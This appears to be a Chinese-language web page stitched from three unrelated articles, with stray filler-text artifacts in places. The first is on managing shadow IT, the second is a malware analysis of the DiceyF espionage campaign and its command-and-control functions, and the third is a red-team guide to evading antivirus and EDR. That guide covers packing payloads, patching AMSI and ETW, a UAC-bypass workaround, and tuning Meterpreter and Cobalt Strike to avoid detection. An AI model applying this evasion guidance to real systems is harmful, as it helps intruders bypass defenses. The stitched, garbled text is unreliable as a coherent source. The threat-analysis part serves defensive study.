您如何從影子IT 中獲益?影子IT 的出現表明員工發現批准的解決方案效率低下、不舒服,或兩者兼而有之。影子解決方案比已經部署的工具更俱生產力和成本效益。隨著雲服務的大規模採用,您不可能控制所有影子IT。但是您可以通過將其轉變為業務主導的IT 從中受益。

業務主導的IT是一種IT 管理方法,允許員工在沒有IT 部門批准的情況下使用他們需要的軟件和硬件。員工只需將他們選擇使用的產品通知IT 管理員。

轉向以業務為主導的IT 可為組織帶來以下好處:

image.png

業務主導的IT 有哪些好處

儘管以業務為主導的方法有很多好處,但它並沒有消除影子IT 活動的主要風險:數據丟失的可能性和未知的安全漏洞。此外,請記住,以業務為主導的IT 的成功依賴於用戶的開放性和安全意識。如果用戶不報告影子軟件,IT 部門可能永遠不會知道它。

40% 的IT 專業人士承認,儘管存在風險,他們自己也會使用未經批准的技術。

Entrust 公佈的影子IT 的好處報告

即使您決定為您的企業採用以業務為主導的IT,您仍然需要知道您的網絡中是否有未說明的應用程序和設備。在下一節中,我們將討論用於檢測和減輕影子IT 安全風險的流行解決方案。

揭開影子IT 的面紗處理未經批准的軟件和雲應用程序有四種主要方法。選擇哪一個取決於您組織的管理風格和可用資源。讓我們來看看每個選項:

image.png

管理影子IT 的4 種方法

1. 部署影子IT 發現和管理解決方案您可以使用IT 資產管理(ITAM) 系統檢測影子IT 。這些系統收集在您組織的網絡中運行的硬件和軟件的詳細清單。根據這些信息,您可以分析不同資產的使用情況。

選擇或構建自定義ITAM 軟件時,請注意以下四個參數:

image.pngIT資產管理軟件關鍵參數

ITAM 解決方案分為三種類型:

马云惹不起马云 當您需要從遠程端點或不經常連接到網絡的設備(例如筆記本電腦)收集庫存信息時,基於代理的解決方案非常適用。

马云惹不起马云 無代理工具最適合對關鍵資產執行非侵入式監控和分析。

马云惹不起马云 基於雲的IT 資產庫存系統用於監控和審計雲解決方案的使用。一個示例是雲訪問安全代理(CASB)。

CASB是發現雲中影子IT 風險的流行工具。他們可以通過分析來自防火牆、代理和端點的日誌來識別正在使用的雲服務和應用程序。這些解決方案提供了關於哪些設備連接到網絡以及誰可以訪問敏感數據並將其存儲在雲中的高度可見性。

一些CASB 還提供了將業務主導的IT 中使用的雲服務置於只讀模式的機會。這樣,用戶仍然可以查看這些應用程序的內容,但不能向其中添加數據。

要使用資產管理軟件和訪問CASB 覆蓋您企業的所有網絡,您可能需要部署多個解決方案並將它們相互集成以及與您現有的IT 系統集成。

2.使用默認的雲服務大型雲服務提供商(CSP) 提供額外的解決方案來檢測和管理雲中的影子IT。它們對於將所有網絡部署在一個或多個雲中的組織很有用。

image.png

默認影子IT 發現服務

Microsoft Defender for Cloud Apps是一項用於監視和審核雲服務使用情況的服務。它可以發現公司雲環境中的應用程序、文件和用戶,包括與其連接的第三方應用程序。

Microsoft Azure 在其高級版中有一個基於代理的Azure Active Directory Cloud Discovery工具。該代理捕獲HTTP/HTTPS 連接的標頭、URL 和元數據等數據,以發現組織內使用的雲應用程序,識別使用它們的人員,並提供詳細信息以供進一步分析。

Amazon Web Services (AWS) 提供兩種類似的服務——AWS Cloud Discovery和AWS Application Discovery Service。它們幫助用戶發現AWS 環境中的賬戶、應用程序、數據中心和實例之間的關係。這兩種服務都可以在小型網絡中免費使用。

3. 將您的安全工作重點放在數據保護上歸根結底,我們要保護的是敏感數據,使其免受影子IT 帶來的風險。您無需發現網絡中影子IT 的所有元素,而是可以專注於數據監控和保護。這樣,無論您的用戶訪問敏感信息的方式如何,您都將監控與數據的所有交互。

以下是您可以採用的關鍵數據保護做法:

image.png

如何保護您的數據免受影子IT 的風險

確保數據保留。企業存儲的大多數記錄都有有效期;換句話說,該組織必須將這些記錄保存一段時間。存儲期限通常由網絡安全標準和法規以及公司特定的操作來定義。數據保留策略有助於統一、分類和管理敏感數據,並定義其存儲和處置規則。

有了這個政策,您可以將網絡安全工作集中在保護您的組織真正需要的記錄上。此外,您還可以通過減少敏感記錄的數量來降低數據洩露的風險。

加密敏感數據。加密靜態和傳輸中的記錄可以確保敏感數據在上傳到影子軟件或洩露時是安全的。要與加密數據交互,用戶需要公鑰或對稱密鑰以及解密算法。

最常見的數據加密協議是AES、TLS/SSL 和RSA。它們提供足夠級別的保護,同時不會花費太長時間來加密數據。

管理用戶對數據的訪問。影子IT 造成的安全漏洞可能成為黑客的切入點,除非您有適當的訪問控制系統,否則他們可以滲透您的網絡並竊取敏感數據。這樣的系統定義了哪些用戶可以與哪些資源交互,並拒絕所有其他用戶的訪問請求。

訪問控制系統通常包括身份驗證服務,例如用於驗證用戶身份的多因素身份驗證。多因素身份驗證有助於安全系統在提供訪問權限之前通過憑據、生物特徵或通過智能手機進行的額外確認來積極識別用戶。

跟踪所有數據移動。由於影子IT 意味著將數據移動到未經批准的服務和軟件,因此能夠監控和跟踪所有敏感記錄非常重要。數據丟失防護軟件可以幫助您完成這項任務。

了解敏感數據的存儲位置、管理方式以及何時將其傳輸到受保護範圍之外,就無需發現所有影子IT 元素。相反,您可以專注於數據移動並配置規則以自動阻止受保護環境之外的傳輸。

4. 實施DevOps 方法DevOps是一種將軟件開發和運營實踐結合到一個簡化流程中的方法。它使企業能夠提高生產力,減少整合新解決方案所需的時間,並打破開發、測試和運營之間的孤島。

DevOps 方法可幫助組織在軟件開發期間構建用於持續集成和持續交付(CI/CD) 的管道,並確保該管道僅包含有用的軟件、工具和服務。

採用DevOps 來減少影子IT 有幾個主要好處:

image.png

DevOps 如何減輕影子IT

由於DevOps 可以更快地響應最終用戶的請求,並幫助公司輕鬆有效地實施新的解決方案,因此這種方法可以被視為解決影子IT 問題的最有效方法之一。

DevOps使最終用戶更容易正式實施更好更快地完成工作所需的新軟件和技術,從而消除了使用影子IT的需要。採用DevOps 的組織可以將影子IT 轉變為其IT 基礎架構的一部分,而不會影響性能或安全性。

請記住,只有當整個企業都採用這種方法時,DevOps 才能減少影子IT 的出現。否則,未採用DevOps 的團隊可能會創建更多影子IT 元素以跟上面向DevOps 的團隊。

結論使用非託管軟件和雲服務可能會危及公司網絡的安全性並造成性能和合規性問題,從而對任何公司構成嚴重威脅。至少有三種方法可以解決這個問題:通過實施有效的IT 資產庫存和管理系統、專注於數據保護或轉向DevOps。

1.jpg

在10月6至7日的Hacktivity 2022安全節中,有研究人員介紹了一個針對東南亞網絡賭場開發和運營環境的有趣的APT活動。

研究人員在報告中將這個APT活動稱為“DiceyF”。據報導,攻擊者多年來一直以東南亞的網絡賭場為目標。研究顯示,該活動與LuckyStar PlugX活動有很多相似之處,另外,TTP、安全消息傳遞客戶端濫用、惡意軟件和目標定位表明,這個活動和趨勢科技研究人員在Botconf 2022上討論的Earth Berberoka/GamblingPuppet活動一致。

在目前已發現的DiceyF事件中,還沒有觀察到直接的經濟動機或現金盜竊的證據。相反,TrendMicro研究人員此前報告的事件顯示,客戶PII數據庫被竊取和源代碼被竊取。攻擊者目前的真正的攻擊動機仍然是一個謎。

攻擊行為分析檢測的攻擊行為包括:

PlugX安裝程序由來自安全消息客戶端開發工作室的潛在被盜數字證書籤名;

惡意軟件通過員工監控系統和安全包部署服務分發;

不同的.NET代碼使用相同的潛在被盜證書籤名,並回調到與PlugX C2相同的域;

2021年11月,研究人員在同一個網絡中檢測到多個PlugX加載程序和有效負載,這通常是一個令人厭倦的研究主題。然而,這一次,PlugX安裝程序三元組(PlugX installer triad)通過兩種方式部署為使用合法數字證書籤名的可執行文件——員工監控服務和安全包部署服務。這個合法的數字證書似乎是從一個用於安全消息傳遞客戶端的開發和構建工作室中竊取的。這些PlugX有效負載通過apps.imangolm[.]com與C2通信。不久之後,同樣的安全包部署服務被用於推送GamePlayerFramework下載程序,這些下載程序與相同的C2進行通信,並使用相同的數字證書籤名。

進一步的研究顯示,目標配置文件建議網絡賭場開發工作室,然後在不同的網絡上招募/外包開發系統。NET下載程序部署與PlugX部署同時出現,都是通過相同的數字證書籤署的。

3.png

這些下載程序使用“PuppetLoader”文件路徑維護PDB字符串,這些PuppetLoader字符串非常熟練地將多級加載程序與過去的PuppetLoader下載程序連接起來,只是這一次用c#重新設計和重寫。過去的PuppetLoader是用c++編寫的,維護顯式字符串:

4.png

新的.NET代碼維護著類似的字符串,反映的是幾年前的代碼庫。

5.png

在我們對這些發現進行分析和報告的同時,來自趨勢科技的人員在Botconf會議上報告了GamblingPuppet/Earth Berberoka的研究。我們非常有信心認為這個DiceyF GamePlayerFramework活動是一個新開發的核心惡意軟件集的後續活動。這個新的APT活動,即DiceyF,將之前報告的GamblingPuppet和Operation DRBControl資源和活動進行了重新設計,以下是我們在早期數據中觀察到的活動:

PlugX和PuppetLoader多級加載程序;

東南亞的網絡賭場目標;

缺乏表明財務動機的證據(趨勢科技觀察到DRBControl操作中客戶數據庫和源代碼洩露);

正在使用的中文語言,特別是GamePlayerFramework錯誤字符串和插件名稱和路徑;

通過後門竊取數據的重點包括擊鍵和剪貼板;

被盜數字證書的再利用;

隱藏安全消息傳遞客戶端作為惡意軟件的傳輸工具和惡意活動的偽裝物;

GamePlayerFramework是前面提到的PuppetLoader c++ /彙編惡意軟件的一個完整的c#重寫。這個“框架”包括下載程序、啟動程序和一組提供遠程訪問和竊取擊鍵和剪貼板數據的插件。更新的(2022年夏季)可執行文件大部分都是用.NET v4.5.1編譯的64位.NET文件,但也有一些是32位或dll文件,用.NET v4.0編譯。這個框架至少有兩個分支,“Tifa”和“Yuna”,並且兩個分支都維護新的模塊,並隨著時間的推移而逐步修改:

D:\Code\Fucker\GamePlayerFramework\Tifa\*.pdb;

C:\Users\fucker\Desktop\Fucker\GamePlayerFramework\Tifa\*.pdb;

D:\Code\Fucker\GamePlayerFramework\Yuna\*.pdb;

奇怪的FinalFantasy代碼遊戲玩家可能熟悉日本Square軟件公司設計的電子遊戲Final Fantasy(最終幻想),其中Tifa和Yuna是其中的兩個主要角色。 Tifa和Yuna分支彼此不同:Tifa分支只包括一個下載程序和一個“核心”模塊,Yuna分支包括下載程序、插件和各種PuppetLoader組件,總共至少有十幾個。即使下載程序之間也有很大的不同。事實上,Yuna.Downloader代碼會隨著時間的推移而發生相當大的變化,包括JSON解析,日誌記錄和加密功能。

Tifa代碼分支於2021年11月首次部署給受害者,這些Tifa下載程序比後來的Yuna下載程序保持了更原始的功能。此外,11月的代碼簽署協調工作似乎沒有很好地組織起來。除了一個已簽名的Tifa可執行文件外,與Yuna下載程序不同,三個Tifa下載程序中的兩個是未簽名的代碼。

最初的Tifa下載程序已經使用了“Mango”和“Mongo”函數名,就像Yuna下載程序中發現的工件一樣,以及前面提到的apps.imangolm[.]com C2植入程序。後來,Yuna下載程序的文件名為“mango.exe”。 Tifa.Downloader變體中的兩個引入了“DownloaderVersion” 字符串,攻擊者可能會在服務器端保持向後兼容性。一些後來的Yuna.Downloader變體增加了功能和復雜性,但是多個早期變體和Tifa分支非常簡單。

加載框架下載和持久化設置完成後,多個組件將加載框架。加載框架的整個過程可以用下圖概括:

7.png

此加載順序導致運行“Launcher”組件。儘管名曰“Launcher”,但此模塊的主要功能是不執行啟動。相反,它是框架的協調器,即它管理所有框架組件。啟動完成後,協調器每20秒向C2服務器發送一次運行報文。每個這樣的數據包都是XOR加密的JSON對象,其中包含以下信息:

1、登錄用戶的用戶名;

2、當前用戶會話狀態(鎖定或解鎖);

3、剪貼板記錄插件收集的日誌的大小;

4、當前日期和時間;

用15個命令中的一個響應C2,命令名稱、命令參數和描述如下:

1、PluginKeepAlive, KeepAlive,N/A,用最近的C2響應時間更新內部時間戳;

2、PluginDestory [sic],N/A,關閉框架;

3、GetSystemInfo,N/A,檢索各種系統信息,即:

本地網絡IP地址;

可用權限(系統、管理員或普通用戶);

用於C2通信的網絡協議(在所有發現的示例中硬編碼到Tcpv4);

框架版本(格式為yyyymmdd.xx,如20220506.00);

下載模塊版本;

CPU名稱;

可用內存;

操作系統版本;

已使用的C2服務器地址;

剪貼板記錄器日誌的大小;

安裝安全解決方案;

BIOS序列號;

MAC地址;

機器啟動時間;

4、FastCmd;Command:要執行的命令;允許執行shell命令,這個命令創建一個新的cmd.exe進程,帶有重定向的標準輸入和輸出,並向它發送命令,執行命令的輸出返回到C2服務器;

5、Getdomainsetting,N/A,將配置中指定的C2服務器列表發送到當前C2服務器;6、SetDomainSetting,DomainConfig:新C2服務器的IP地址和端口,通過將新的C2服務器地址寫入C:\ProgramData\NVIDIA\DConfig文件來更新配置中的C2服務器列表;

7、GetRemotePluginInfo,PluginName:已安裝插件的名稱,檢索本地安裝的插件的版本;

8、RunPlugin,PluginName:要啟動的插件名稱,SessionId:要在其中啟動插件的會話ID,從C2服務器下載插件並啟動它;

9、DeleteGuid,N/A,通過創建一個批處理文件從設備上刪除感染,該文件刪除框架安裝程序釋放的所有文件,除了rascustoms.dll,執行刪除後,批處理文件將自我刪除;

10、Fastdownload,FilePath:待上傳文件的路徑,從受害設備上傳文件;

11、Cacheplugin,PluginName:插件名稱,PluginVersion:插件的版本,從C2服務器下載插件,但不啟動它;

12、Installplugin,PluginName:要啟動的插件名稱,WaitForExitTimeout:超時時間間隔,在受害設備上啟動一個插件,等待插件進程完成,在超時的情況下,協調器會阻止插件進程;

13、remoteinject ,SubMsg:等於RunVirtualDesktop或DestoryVirtualDesktop的字符串,啟動(如果SubMsg是RunVirtualDesktop)或停止(如果SubMsg是DestoryVirtualDesktops)VirtualDesktop插件;

14、ChromeCookie,SubMsg:等於RunChromeCookie或GetCookiePath的字符串,如果SubMsg是RunChromeCookie,啟動ChromeCookie插件,如果參數字符串是GetCookiePath,則返回存儲Chrome cookie的路徑;

15、FirefoxCookie,等於RunChromeCookie或GetCookiePath的字符串,如果參數字符串是GetCookiePath,則返回存儲Chrome cookie的路徑。

插件概述插件是執行大多數框架惡意活動的EXE文件。插件可以配置為在框架啟動時從C2服務器下載,或者使用上述命令之一在任何其他時間加載。在執行過程中,插件可以連接到C2服務器並從中接收命令。有關運行插件的信息存儲在C:\ ProgramData \ NVIDIA \ DisplaySessionContainer1.ini文件中。

該框架的所有插件都以無文件的方式存儲。每當從C2服務器下載插件時,都會按照以下過程將其加載到框架中:

1.orchestrator選擇從10000到20000的隨機端口,並在其上啟動本地TCP套接字服務器;

2.orchestrator在掛起模式中創建一個新的svchost.exe進程,並註入在“加載框架”一節中提到的api-ms-win-core-sys- g1 -0-5.dll庫。

3.注入的庫使用以下參數加載PuppetLoader.Downloader組件:帶有插件payload -Port

4.Yuna.PuppetLoader.Downloader組件從本地TCP服務器下載插件可執行文件,並使用Load加載它。

orchestrator組件的字符串引用以下插件名稱:

Plugin.(Acquisition System;

Plugin.Hidden Process;

Plugin.SSH;

Plugin.General Purpose Plugin;

Plugin.SessionCmd;

Plugin.Port Forwarding;

Plugin.Screen Transfer;

Plugin.Virtual Desktop;

Plugin.Clipboard;

Plugin.ChromeCookie;

Plugin.FirefoxCookie;

在跟踪GamePlayerFramework的部署時,我們注意到上面列出的幾個插件正在被使用:通用插件、剪貼板和虛擬桌面。

帶有圖形界面的惡意應用程序通過安全解決方案安裝包部署的應用程序旨在模仿同步芒果消息應用程序數據的應用程序。以下是此應用程序啟動時顯示給受害者的窗口:

9.png

惡意“芒果員工賬戶數據同步器” 窗口

為了使受害用戶信任惡意窗口,攻擊者採用了社會工程技術。從上面的截圖可以看出,這些信息包括受害組織的名稱,甚至包括該組織IT部門所在的樓層。同時,可見窗口使該應用程序對安全解決方案的可疑性降低。

啟動時,此應用程序會進行如下操作:

通過TCP套接字連接到C2服務器,服務器的地址和端口在二進製文件中指定。如果連接失敗,應用程序將顯示帶有“無法連接到芒果員工數據同步服務器!請反饋至其他部門!”字樣。

向C2服務器發送以下信息:

安裝的芒果信使版本;

設備名稱;

當前用戶名;

操作系統版本;

本地IPv4地址列表;

接收一個包含名為IsErrorMachine的布爾值的JSON對象。如果設置為true,則應用程序將顯示一個包含“尚未認證的設備,請到10樓的it部添加設備認證”文本的消息窗口並退出;

啟動與應用程序位於同一目錄中的exe可執行文件,這個文件的內部名稱是Yuna.Downloader。

代碼處於持續的增量變化中,它的版本控制反映了對代碼庫修改的半專業管理。隨著時間的推移,該團隊增加了對Newtonsoft JSON庫的支持,增強了日誌記錄和日誌加密。

基礎設施10.png

如上所述,許多早期植入(包括PlugX和下載程序)的通信活動通過為位於東南亞的基礎設施解析FQDN來回調基礎設施。到2022年4月,有些Yuna.Downloader開始直接與一個硬編碼的IP地址通信。

總結DiceyF活動的ttp和很多惡意活動都存在相似之處,該組織會隨著時間的推移修改他們的代碼庫,並在整個攻擊過程中開發代碼中的功能。

GamePlayerFramework使DiceyF背後的攻擊者能夠以某種程度的隱身方式執行網絡間諜活動。初始感染方法是值得注意的,因為該框架是通過安全解決方案控制中心部署的安裝包進行傳播的。此外,該框架的組件使用數字證書進行簽名,這使得安全解決方案更信任該框架。為了進一步偽裝惡意組件,攻擊者為其中一些組件添加了圖形界面。這種惡意植入被偽裝成在受害組織中使用的信使組件。為了確保受害者不會對偽裝的植入物產生懷疑,攻擊者獲取了目標組織的信息(例如該組織IT部門所在的樓層),並將其包含在顯示給受害者的圖形窗口中。他們還使用了服務名稱、文件路徑、數字簽名證書和來自NVIDIA、Mango和其他正版軟件的其他構件。 GamePlayerFramework的插件允許對受害機器進行全面的監視。例如,他們能夠監視擊鍵和剪貼板,瀏覽位於組織本地網絡內的網站,或建立虛擬桌面會話。在近幾個月的時間裡,DiceyF開發人員增加了更多的加密功能,以更好地隱藏他們的日誌記錄和監控活動。在未來,我們期望看到插件數量的增加,並觀察到在這個框架中更多不尋常的防禦規避方法。

我們會在本文中介紹基於簽名的檢測和基於行為的檢測之間的主要區別。此外,還會舉例說明了繞過各個檢測的示例。

經常會有人有疑問,為什麼在有關Packer(封隔器)被發布後,MSF- 或CobaltStrike- (CS)有效負載仍然會被檢測到。答案無非有兩種:

1.基於簽名的檢測被繞過了;2.基於行為的檢測被觸發並終止進程。

使用我們的自定義封隔器將導致反掃描。被封隔的MSF有效負載如下:

1.JPG

但這並不意味著,在運行時執行時,這些殺毒程序不會檢測到有效負載。為什麼會出現這種情況?

基於簽名的檢測基於簽名的檢測非常簡單。最早的殺毒程序有一個帶有File-Hashes的簽名數據庫,他們只是將磁盤上任何可執行文件的哈希與已知的惡意可執行程序哈希進行比較。例如,該數據庫包含Mimikatz發布二進製文件的SHA1/MD5哈希。改變一個可執行文件的哈希值就像操縱其中的一個字節一樣簡單,所以這種檢測並不可靠。

基於這一事實,安全供應商轉而檢測特定的字節模式(BytePattern)簽名。因此,為了繼續使用Mimikatz的示例,具體的字節模式/十六進制值被標記如下:

2.png

可以看到,不僅要為每個已知的惡意二進製文件/有效負載標記一個模式,而且要使用多個常見模式。 Mimikatz始終是基於簽名的檢測的一個很好的示例,因為通常供應商有幾十種Mimikatz二進制檢測的模式。通過這種方式,稍微修改過的版本也能被檢測到。

甚至可以使用yara規則構建更高級的檢測。這些規則可以掃描文件或內存內容,並允許更複雜的條件和不同模式的組合。 Mimikatz yara規則的一個示例如下:

3.png

在本示例中,如果在文件或內存中找到上述三個字符串,則會觸發此規則,AV/EDR程序可以執行警報或終止進程等操作。例如,我們在構建自定義Mimikatz二進制代碼的文章中描述的技術就可以繞過這樣的檢測。

封隔器的內部工作原理首先要了解封隔器的基本工作原理,了解它能做什麼,不可能做什麼。最後利用一個程序將一個有效負載封裝到另一個程序中,以避免對其進行基於簽名的檢測。因此,如果像Mimikatz這樣的負載包含特定的字符串,那麼這些字符串將在生成的二進製文件中不再可見。包裝過程可以通過某種編碼/混淆或加密來完成。我個人更喜歡加密有效負載,因為這將產生最好的隨機性,因此基於簽名的檢測最少。

4.png

這種經過編碼或加密的負載必須在生成的加載器程序中解碼/解密,以便可以從內存中執行明文負載。

根據有效負載的不同,封隔器也可以在當前進程或遠程進程中刪除更多檢測:

如果你的封隔器正在打補丁/繞過AMSI,你可以安全地從內存執行不同的已知惡意腳本(PS1,VBA,JS等)或c#程序集。

為了繞過基於ETW的檢測,封隔器還可以通過不同的發布技術修補/繞過ETW。

基於掛鉤的Win32 API檢測可以通過取消掛鉤或直接/間接使用Syscall來繞過。

基於熵的檢測將檢測到許多封隔器,因為有效負載的加密將由於隨機性而導致非常高的熵。這可以通過在生成的二進制中添加數千個單詞來繞過,因為這再次降低了熵。

但是,即使所有這些技術都得到了應用,仍然存在更多潛在的“問題”:

1.內存掃描;

2.行為檢測;

3.攻擊者。

一般來說,使用封隔器也可以繞過內存掃描,但這非常有限。

內存掃描和常用的繞過技術由於基於簽名的檢測很容易被封隔器技術繞過,越來越多的AV/EDR供應商傾向於使用掃描進行內存分析。這些掃描通常不會在所有進程中一直進行,因為這會消耗太多資源,但可能會由特定條件觸發。

例如,內存掃描通常在以下情況下出現:

生成一個新進程,例如運行一個可執行文件;

進程的行為觸發內存掃描;

第一個很容易繞過。例如,即使是封隔器也可以在解碼/解密真正的有效負載之前休眠一段時間。在這種情況下,將進行內存掃描,但不會發現任何東西,因為負載仍然是加密的。仍然有方法檢測Win32基於睡眠的內存掃描繞過,例如這裡演示的。作為使用Sleep的替代方案,你也可以在特定的時間內執行偽代碼或進行計算。除了使用Sleep,還有許多其他替代方法。

但一般來說,繞過內存掃描有以下三種方法:

更改/修改有效負載的源代碼,以避免基於簽名的檢測;

更改有效負載的行為,以便永遠不會觸發內存掃描;

內存加密。

我個人更喜歡第一種選擇,它在每個程序中都是一次性的,只要新的代碼庫不公開,它也不應該在未來被檢測到。

繞過基於行為的內存掃描是比較困難的,這取決於你的有效負載的行為。試想一下Mimikatz的行為(例如,用OpenProcess打開LSASS的句柄)會觸發一次掃描,此時,無法從內存中隱藏Mimikat,因為它需要進行加密才能工作。因此,Mimikatz不會選擇內存加密。

對於像Cobalt Strike這樣著名的C2框架,最常見的選擇是內存加密。但是如果你沒有訪問源代碼的權限,就不可能修改它以避免內存檢測。一般來說,C2框架是這項技術的優先選擇,因為它們大部分時間都處於休眠狀態。如果一個程序什麼也不做,它的內存內容可以在這個時間段內被加密,而不會出現任何問題。

基於行為檢測的一些示例和繞過但是,哪些行為會在運行時觸發AV/EDR操作或內存掃描呢?基本上全都可以。將內容寫入內存,以特定的順序或時間框架加載特定的庫,創建註冊表項,執行初始HTTP請求或任何其他操作。

我將在這裡舉幾個例子,介紹相應繞過技術。

根據我的個人經驗,AV/EDR在檢測到特定行為後極少立即終止進程。這是因為AV/EDR供應商不希望有太多的誤報結果。由於誤報結果與終止進程的行為會導致生產環境的中斷,這是非常糟糕的。所以他們需要幾乎100%的確定,一個行為肯定是惡意程序終止相應的進程。這也是為什麼許多供應商將行為檢測與內存掃描結合起來,以驗證他們發現了惡意內容。

Fodhelper UAC繞過示例基於行為的檢測的一個很好的示例是帶有Windows Defender的Fodhelper UAC繞過。這個方法非常流行,但也很容易被利用,因為它只需要創建一個註冊表項,然後調用fodhelper.exe:

5.png

在啟用殺毒軟件的情況下執行此操作將導致以下檢測:

6.JPG

此警報既不會終止正在執行的進程,也不會終止新生成的進程,但仍會導致任何攻擊中的檢測。檢測本身不能繞過AMSI,修補ETW也無濟於事。因為這是觸發此警報的特定行為。

我對此處標記的內容進行了一些簡單的試錯分析,發現殺毒軟件不喜歡HKCU:\Software\Classes\ms-settings\Shell\Open\command(Default)條目以及目錄*C:\windows\system32*和*C:\windows \syswow64*中的任何.exe。

因此,觸發警報的行為是使用其中一個字符串在上述目錄中創建註冊表項。

幸運的是,我們不需要指定.exe來執行二進製文件,也不需要兩個目錄來進行攻擊。因此,作為一種替代方案,我們可以直接將e.G. a C2-Stager複製到任何可寫目錄中,並使用UAC-Bypass執行它,而無需調用擴展名。

7.png

但到2022年,許多OffSec用戶將意識到,在安裝了AV/EDR的系統上運行任何未簽名的可執行文件可能不是一個好主意。因此,作為一種替代方案,我們還可以執行任何經過簽名的可信可執行文件,並將相應的Sideloading-DLL放到相同的目錄中。還有第三種選擇,就是我們可以將rundll32.exe複製到我們的可寫目錄中並在那裡執行它。

8.png

基於Meterpreter行為的檢測切記,不要使用分段有效負載,它們會被殺毒軟件捕獲。因此,在我們的示例中,我們將生成用於執行的不分段的反向HTTPS Shellcode。這可以通過以下命令來實現:

9.png

我不會在本文介紹執行Shellcode的方式,因為我只想展示行為檢測,但通常您需要以下內容:

對Shellcode進行加密並在運行時解密,以避免在磁盤上簽名,或者在運行時從遠程Web服務器加載它;

使用直接或間接的系統調用執行,否則Shellcode將在執行前被標記;

在這種情況下,無需修補AMSI/ETW即可使Meterpreter運行。

但是,即使你使用系統調用繞過了基於簽名的磁盤檢測和Shellcode檢測,你也應該能夠看到一個新的Meterpreter Session傳入:

10.JPG

但這只是意味著,我們的初始有效負載成功地執行了。一秒鐘後,進程被終止並出現以下檢測:

11.JPG

同樣,這是一個基於行為的檢測,由附加的DLL文件觸發,通過普通Win32 API和反射DLL注入技術加載。在本例中,stdapi-DLL的注入觸發了一個警報。

在msfconsole提示符中,你可以通過以下命令禁用stdapi DLL的加載:

12.png

這樣,你就應該可以很好地接收Meterpreter Session:

13.JPG

然而,禁用stdapi加載將導致你的Meterpreter-Session中幾乎沒有命令/模塊,只有“內核命令”可用。

等待幾分鐘後,你可以使用以下命令手動加載stdapi,但仍應沒有檢測:

14.JPG

這種基於行為的檢測是關於什麼的?我不能百分之百地肯定,但很可能是以下因素的組合:

1.新生成的進程;

2.在調用用於反射加載DLL的特定Windows API之前,新進程的時間框架x;

3.內存掃描,用於驗證惡意內容;

4.內存中Meterpreter的檢測和終止進程的操作。

注意:這是繞過Meterpeter防禦行為檢測的唯一可能方法。

如上所述,繞過內存掃描的一個通用方法是修改源代碼以避免內存中的簽名。繞過內存掃描的一個通用方法是修改源代碼以避免內存中的簽名,因此修改源代碼是另一種選擇,Meterpreter源代碼混淆的自動化方法可以點擊這裡。這樣做之後,就能夠在啟用autostdapi-Loading的情況下避免這種檢測。

第三種方法是內存加密,這對於Meterpreter來說並不容易實現,因為在請求命令之前,HTTP/HTTPS源代碼不像許多其他c2框架那樣在時間框架x上休眠。它只是拋出許多HTTP(S)請求,其間有一些小延遲。所以內存加密會中斷這個過程。如果你使用這個方法,那麼你需要在源代碼中自己集成一個帶有內存加密的自定義Sleep-function。

Cobalt Strike檢測Cobalt Strike很可能是最複雜、分析最深入的C2框架。這很可能是因為在過去幾年裡,它被許多不同的攻擊組織在野外使用。不更改默認設置在大多數環境中是不可用的,因為這會立即被檢測到。

即使使用自定義的打包器/加載器和系統調用來執行Shellcode,在許多環境中仍然會失敗。因此,我會解釋作為操作員在使用此框架時需要做的最低要求和修改。

C2服務器/基礎設施最低要求:

1.禁用Malleable配置文件中的分段,如果啟用了該功能,你的植入程序幾乎會立即被終止,因為有許多Internet範圍內的自動掃描器下載第二階段來分析和共享它。

2.你必須使用帶有許多不同重要繞過設置的自定義Malleable C2-Profile來繞過一些檢測。

3.必須在C2服務器前面使用重定向器。此重定向程序應釋放/阻止已知的沙盒分析IP範圍,並且僅允許和重定向那些符合Malleable C2配置文件的請求。 RedWarden或RedGuard是實現此流程自動化的最佳工具。使用它還可以避免在第一次連接後對Cobalt Strike服務器進行指紋識別和檢測。

植入程序的最低要求:

1.使用加密/混淆和運行時解密/反混淆打包Shellcode。如果你不這樣做,加載器將在磁盤或內存中被簽名標記(取決於加載方式);

2.使用直接或間接的系統調用來執行CS-Shellcode或從內存加載工件。如果不這樣做,在大多數環境中都會導致即時檢測,因為Shellcode始終具有相同的IoC,並且很容易被AV/EDR掛鉤檢測到。

3.使用環境鍵控(environmental keying)繞過潛在的沙盒或自動EDR雲提交分析。

4.你必須通過有關工具包修改Cobalt Strike中的默認睡眠掩碼模板。如果在Malleable C2 Profile中啟用,信標將加密堆和堆棧內存,以在成功執行後從內存掃描程序中隱藏自身。但由於這個默認的睡眠掩碼源代碼本身也被AV/EDR簽名嚴重攻擊,因此也會被內存掃描器標記。你不應該使用任何未修改的公共Github睡眠加密代碼,因為這也會被標記。

所有這些(除了睡眠掩碼的修改)都可以通過一個完全自定義的打包器/加載器或使用有關工具包(Arsenal Kit)來完成,Arsenal Kit已經提供了很多模板代碼。如果你打算使用Arsenal Kit,那麼你必須熟悉C/C++,並對模板代碼進行大量自定義,以繞過檢測。

睡眠掩碼的修改也適用於原始的Shellcode輸出,所以當你使用自己的自定義加載器時,你甚至可以在Arsenal Kit中對其進行修改。不過通過上述修改,Microsoft Defender for Endpoint 在我的測試中仍然檢測到許多惡意行為。

注:即使你應用了上述所有要求,你的植入程序仍然可以在成熟環境中檢測到。根據目標環境中使用的EDR,這是不夠的。仍然存在一些問題:

如果你收到信標連接,別以為你能夠發現什麼。在許多環境中,我都能夠讓Beacon運行,但在發出一個命令/模塊後,植入程序立即被檢測到並終止。正如我所說,CS很可能是目前最複雜的框架,看看這些yara規則,你會發現,供應商確實為每個命令/模塊實現了檢測規則。這些基於行為的檢測使我個人只能使用Cobalt Strike啟動反向Socks Connection,而不能避免本地系統IoC,通過Socks在網絡上完成所有事情。因此,在我的許多項目中,Cobalt Strike或多或少成為了一個獨立的socks5反向代理程序。

對於自動AV/EDR分析,一個簡單的內存加密可能就可以了,但在這種情況下,你需要避免更多的IoC,如RWX/RX內存權限,你不能使用Win32 Sleep,因為這很容易被檢測。

在某些環境中,我的Beacon/Process甚至在回調之前就被檢測到。說實話,我不知道這些監測是乾什麼的,說實話,我也不知道如何繞過他們。

一些更有經驗的Cobalt Strike用戶向我暗示,用戶定義的反射加載器(UDRL)幾乎有無限的可能性,比如TitanLdr。在成熟的環境中,通過可塑配置文件選項來調整Cobalt Strike行為是不夠的。例如,內核將始終使用Win32 API(具有潛在的檢測功能),而不是直接使用Syscall。直到有人將系統調用選項與更新集成。但使用UDRL,你還可以使用導入地址表掛鉤修改所有Cobalt Strike 內核行為。例如,你可以將內核的Hook VirtualProtect設置為NtProtectVirtualMemory。

